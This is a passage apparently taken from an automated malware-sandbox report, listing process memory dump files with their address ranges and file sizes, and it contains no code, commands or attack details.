                                                                                              • memory/2508-32-0x00007FFDD1AC0000-0x00007FFDD2581000-memory.dmp

                                                                                                Filesize

                                                                                                10.8MB

                                                                                              • memory/2508-19-0x00007FFDD1AC0000-0x00007FFDD2581000-memory.dmp

                                                                                                Filesize

                                                                                                10.8MB

                                                                                              • memory/2508-18-0x00007FFDD1AC0000-0x00007FFDD2581000-memory.dmp

                                                                                                Filesize

                                                                                                10.8MB

                                                                                              • memory/3444-52-0x00000000028B0000-0x00000000028DA000-memory.dmp

                                                                                                Filesize

                                                                                                168KB

                                                                                              • memory/3444-59-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/3560-107-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/3884-115-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/4168-63-0x00007FFDB09D0000-0x00007FFDB09E0000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/5048-58-0x000002505E060000-0x000002505E082000-memory.dmp

                                                                                                Filesize

                                                                                                136KB